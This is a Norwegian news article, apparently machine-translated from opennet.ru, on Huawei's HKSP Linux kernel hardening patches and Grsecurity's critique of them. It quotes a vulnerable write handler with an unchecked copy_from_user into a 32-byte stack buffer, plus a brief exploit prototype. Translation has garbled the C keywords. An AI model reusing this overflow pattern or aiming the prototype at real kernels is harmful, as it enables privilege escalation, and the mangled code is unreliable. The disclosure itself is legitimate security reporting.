Utviklere av Grsecurity-prosjektet
HKSP-oppdateringene ble publisert av en Huawei-ansatt, inkluderer en omtale av Huawei i GitHub-profilen, og bruker ordet Huawei i prosjektnavnet (HKSP - Huawei Kernel Self Protection). Samtidig benektet Huawei-representanter forbindelsen mellom HKSP-prosjektet og selskapet og uttalte at koden ble utviklet på den ansattes personlige initiativ, ikke er et offisielt Huawei-prosjekt og ikke brukes i selskapets produkter. På
HKSP inkluderer endringer som randomisering av forskyvninger i cred-strukturen, beskyttelse mot angrep på brukeridentifikatorens navneområde (pid-navneområde), separasjon av prosessstabelen fra mmap-området, deteksjon av dobbeltkall til kfree-funksjonen, blokkering av lekkasjer gjennom pseudo -FS /proc (/proc/ {moduler, keys, key-users}, /proc/sys/kernel/* og /proc/sys/vm/mmap_min_addr, /proc/kallsyms), forbedret brukerplassadresserandomisering, ekstra Ptrace beskyttelse, forbedret smap- og smep-beskyttelse , muligheten til å forby sending av data via raw-sockets, blokkering av feil adresser i UDP-sockets og sjekke integriteten til kjørende prosesser. Den inkluderer også Ksguard-kjernemodulen, som er rettet mot å oppdage forsøk på å introdusere typiske rootkits.
Lapper
En studie av oppdateringen av Grsecurity-utviklere avslørte mange feil og svakheter i koden, og viste også fraværet av en trusselmodell som ville tillate dem å bedømme prosjektets evner. For å tydelig demonstrere at koden ble skrevet uten å bruke sikre programmeringsmetoder, er det gitt et eksempel på en triviell sårbarhet i behandleren.
filen /proc/ksguard/state, som er opprettet med rettighetene 0777, noe som antyder at alle har skrivetilgang. Funksjonen ksg_state_write, som brukes til å analysere kommandoer skrevet til /proc/ksguard/state, lager en tmp[32]-buffer som data skrives til basert på størrelsen på operanden som sendes, uten å ta hensyn til størrelsen på målbufferen og uten sjekke parameteren med strengstørrelsen. De. For å overskrive en del av kjernestabelen trenger en angriper bare å skrive en spesialformatert linje til /proc/ksguard/state.
static ssize_t ksg_state_write(struct-fil *fil, const char __user *buf,
size_t len, loff_t *offset)
{
u64 verdi;
char tmp[32];
størrelse_t n = 0;
if (copy_from_user(tmp, buf, len))
retur -1;
verdi = simple_strtoul(tmp, '\0', 10);
...
Utnytt prototype:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
lukk(fd);
}
Kilde: opennet.ru